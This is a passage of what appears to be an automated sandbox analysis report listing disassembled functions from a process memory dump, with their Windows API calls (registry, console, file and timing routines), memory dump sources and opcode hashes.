                                                                                                                                                                                                                                  • Opcode ID: 738f15879f4b7bea83fbd7a993de018a2b78eb500cf718ef0412fa3423857774
                                                                                                                                                                                                                                  • Instruction ID: 828d640418d98301a975802369cdaf5c2bbb4c8e8058ee700e3f830916d1e0ab
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 738f15879f4b7bea83fbd7a993de018a2b78eb500cf718ef0412fa3423857774
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 49110531A04164BAC7249B6AB4415FEB7E6EFB5768B28405BE8C497381FF328C90D231
                                                                                                                                                                                                                                  Function 00D14D42 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,02000000,?), ref: 00D14D66
                                                                                                                                                                                                                                  • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,UBR,00000000,?,?,?), ref: 00D14D8A
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 00D14D95
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • UBR, xrefs: 00D14D82
                                                                                                                                                                                                                                  • Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00D14D5C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                                                  • String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
                                                                                                                                                                                                                                  • API String ID: 3677997916-3870813718
                                                                                                                                                                                                                                  • Opcode ID: 2497b3ce2ccf3c49fd0bf62b023c1160db838ef521cbc6790f5b678be4451e10
                                                                                                                                                                                                                                  • Instruction ID: dd2357dacb47432cb5fb8377ef808d5143ae289a10c0061bbeaea4e8d8c9afbc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2497b3ce2ccf3c49fd0bf62b023c1160db838ef521cbc6790f5b678be4451e10
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B3018176A00318BBDF208B94EC46FDEBBB8EB84700F240556FE01F2140D6709A41DB64
                                                                                                                                                                                                                                  Function 00D1FCE9 Relevance: 7.8, APIs: 5, Instructions: 297COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D1FD3A
                                                                                                                                                                                                                                  • wcsspn.MSVCRT ref: 00D1FF18
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00D22229,00000000,-00000105,?,00000000,00000000), ref: 00D2000F
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D3A
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D44
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D57
                                                                                                                                                                                                                                    • Part of subcall function 00D21CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00D180F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 00D21D61
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorMode$FullNamePathmemsetwcsspn
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1535828850-0
                                                                                                                                                                                                                                  • Opcode ID: bcb9cf480bc4bd91a0deda61a69678a6f0cdb54efd5e7c1f605500673e46e53d
                                                                                                                                                                                                                                  • Instruction ID: 154faf73eeac211e6341423467206c116990cebf835f0903fa3b954f3349636f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bcb9cf480bc4bd91a0deda61a69678a6f0cdb54efd5e7c1f605500673e46e53d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 98C18E75A00215CFDB24DF18E880BA9B7B6FF59314F1881AAD40ADB751EB309D82CF61
                                                                                                                                                                                                                                  Function 00D15190 Relevance: 7.6, APIs: 5, Instructions: 138COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$_setjmp3
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4215035025-0
                                                                                                                                                                                                                                  • Opcode ID: a1e5c81cc04f138a01cb3f3c68c3f68254ce88a3bc7b1f5cd505cb12980c77ec
                                                                                                                                                                                                                                  • Instruction ID: 992db841a4506f25aaff74e73e15eb12dfae550ec6f483f2ed5086aad2314094
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a1e5c81cc04f138a01cb3f3c68c3f68254ce88a3bc7b1f5cd505cb12980c77ec
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7F515EB1E01369EBCB24CB95EC94AEEBBB4EB94344F140199E909A3144DB348E84CF75
                                                                                                                                                                                                                                  Function 00D395F2 Relevance: 7.6, APIs: 5, Instructions: 114COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D39631
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3964F
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D396FD
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,?,?,?,?,00000000,?), ref: 00D3971B
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,?,?,?,?,00000000,?), ref: 00D39733
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$_wcsicmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1670951261-0
                                                                                                                                                                                                                                  • Opcode ID: 2ef1f0037bcc3ae85595d6e8d7bee1a471b39a48e11fcdd3763993ffee0b0c39
                                                                                                                                                                                                                                  • Instruction ID: d4a1a7614ec0cba34a58c579eef41601e51faf56894e1e7a497c93a639dc0aff
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2ef1f0037bcc3ae85595d6e8d7bee1a471b39a48e11fcdd3763993ffee0b0c39
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BF4162B1A203295BDB24CBA5DC95BAEF7B8EF14345F0401A9E905E3281DB74DE84CB71
                                                                                                                                                                                                                                  Function 00D394E0 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D39527
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D3952F
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D395B5
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D395BD
                                                                                                                                                                                                                                    • Part of subcall function 00D38C50: longjmp.MSVCRT(00D50A70,00000001,00D1206C,00D15E68,?,?,?,?,00000000), ref: 00D38CC4
                                                                                                                                                                                                                                    • Part of subcall function 00D38C50: memset.MSVCRT ref: 00D38D1D
                                                                                                                                                                                                                                    • Part of subcall function 00D38C50: memset.MSVCRT ref: 00D38D45
                                                                                                                                                                                                                                    • Part of subcall function 00D38C50: memset.MSVCRT ref: 00D38D6D
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D395CC
                                                                                                                                                                                                                                    • Part of subcall function 00D1A16C: _close.MSVCRT ref: 00D1A19B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$File_get_osfhandle$ErrorLastPointerRead_closelongjmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 288106245-0
                                                                                                                                                                                                                                  • Opcode ID: f452912b9e49444382545c846055076e60b214c68d658bfb4b7003e062ac99ce
                                                                                                                                                                                                                                  • Instruction ID: 05157b711aef67e26819f04add688135dbf97add4418c3b88651354604fce9c4
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f452912b9e49444382545c846055076e60b214c68d658bfb4b7003e062ac99ce
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9231B171A10204AFEF19DF78D859BAEB769EB44321F244129F902D62C0DBB4DD818B70
                                                                                                                                                                                                                                  Function 00D2260E Relevance: 7.6, APIs: 5, Instructions: 99COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00D21775,-00000001,-00000001,-00000001,-00000001), ref: 00D22650
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D2F339
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,00D21775,-00000001,-00000001,-00000001,-00000001), ref: 00D2F347
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,?,00000104,00000000,?,?,00D21775,-00000001,-00000001,-00000001,-00000001), ref: 00D2F383
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,00D287F0,?,?,?,00D287F0,00000000,?,00D14A0A), ref: 00D2F390
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: BufferConsoleInfoScreen$Heap_get_osfhandle$AllocFileProcessTypelongjmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 158340877-0
                                                                                                                                                                                                                                  • Opcode ID: 982eb7b8992abdffccb206ce8f69d292fa3fc12ddf1923263e0daee67df48c00
                                                                                                                                                                                                                                  • Instruction ID: 6dd724fd538a7169f5d2fc29cdd55d5f621d5c1473cab04c6356d653039df8e5
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 982eb7b8992abdffccb206ce8f69d292fa3fc12ddf1923263e0daee67df48c00
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CF31C472A00325AFD7249F78E845A7EB7F8EF5875AB14093EE846C2150EB74D804CB70
                                                                                                                                                                                                                                  Function 00D24CA0 Relevance: 7.6, APIs: 5, Instructions: 98fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D24CC2
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D38FB3,?,00000000,?,?,?,?,?,?,?,00000000,?,00000021,00000000,?), ref: 00D24CCA
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D30BFC
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D30C48
                                                                                                                                                                                                                                  • DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D30C71
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorFileLast$DeleteRead_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3588551418-0
                                                                                                                                                                                                                                  • Opcode ID: 6839a559d2ac6f461c34094601b6a220cab110c47f48d9ca455494d87ba2b57e
                                                                                                                                                                                                                                  • Instruction ID: 7b6b1b23ae37332aa243b73d4ee11e040a595c2eefe1dac2d0576be026acb1f6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6839a559d2ac6f461c34094601b6a220cab110c47f48d9ca455494d87ba2b57e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BC31C071A10215AFDB189F68E855A7F7B69EF95309B24442AFC06D7290DB34DC80DB32
                                                                                                                                                                                                                                  Function 00D1E272 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1E29B
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D1E2A3
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FilePointer_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1013686580-0
                                                                                                                                                                                                                                  • Opcode ID: 58b2d38de1e37a917e76fd1091901c1d4dcdaa3aee8c688b35977b0eb0e36bf2
                                                                                                                                                                                                                                  • Instruction ID: 4d43829f24863090f869c16a4f4a4f16939e54694cc74bc4ee133a010c4a2d2e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58b2d38de1e37a917e76fd1091901c1d4dcdaa3aee8c688b35977b0eb0e36bf2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4711E032204320BFE3282BA8FC6AB253B76EF45726F340515F109DA2E1CF719880CA75
                                                                                                                                                                                                                                  Function 00D38550 Relevance: 7.6, APIs: 5, Instructions: 63COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00D38571
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 00D3857E
                                                                                                                                                                                                                                  • ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,00000000,?,?), ref: 00D385C7
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,00000000), ref: 00D385D5
                                                                                                                                                                                                                                  • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00D385DC
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3008996577-0
                                                                                                                                                                                                                                  • Opcode ID: 581ae6d0163352b45a08f6b9d7cf01e11b263ba2eba6ce608fd71dc06a2dee72
                                                                                                                                                                                                                                  • Instruction ID: 2369a1328a5740b1b7a37961cee3aadd003276ab9d00d58938f3815c192aaa78
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 581ae6d0163352b45a08f6b9d7cf01e11b263ba2eba6ce608fd71dc06a2dee72
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2911F935910359AACB04DFB89C05AEEB7B8EF0D711F14421AE915E7290EA349A44CB7A
                                                                                                                                                                                                                                  Function 00D270F5 Relevance: 7.6, APIs: 5, Instructions: 50timethreadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000), ref: 00D27122
                                                                                                                                                                                                                                  • GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00D27131
                                                                                                                                                                                                                                  • GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00D2713A
                                                                                                                                                                                                                                  • GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00D27143
                                                                                                                                                                                                                                  • QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?), ref: 00D27158
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1445889803-0
                                                                                                                                                                                                                                  • Opcode ID: 25d77b8eb78947d1d72d6d4e9d0ca9bcd16f366198613d9e17837123f4df46f4
                                                                                                                                                                                                                                  • Instruction ID: 0ea16f7a7ab97518407b32c83d44e562f0c03765957206e8f62bfebddf181616
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 25d77b8eb78947d1d72d6d4e9d0ca9bcd16f366198613d9e17837123f4df46f4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6D114871D05318EBCB14DBB8EA4869EBBF5FF58315F650965D802E73A0E7709B008B22
                                                                                                                                                                                                                                  Function 00D34840 Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,00D287E5,00000000,?,00D14A0A), ref: 00D3484A
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,00D287E5,00000000,?,00D14A0A), ref: 00D34879
                                                                                                                                                                                                                                  • _getch.MSVCRT ref: 00D3487F
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00D287E5,00000000,?,00D14A0A), ref: 00D34897
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00D287E5,00000000,?,00D14A0A), ref: 00D348AD
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
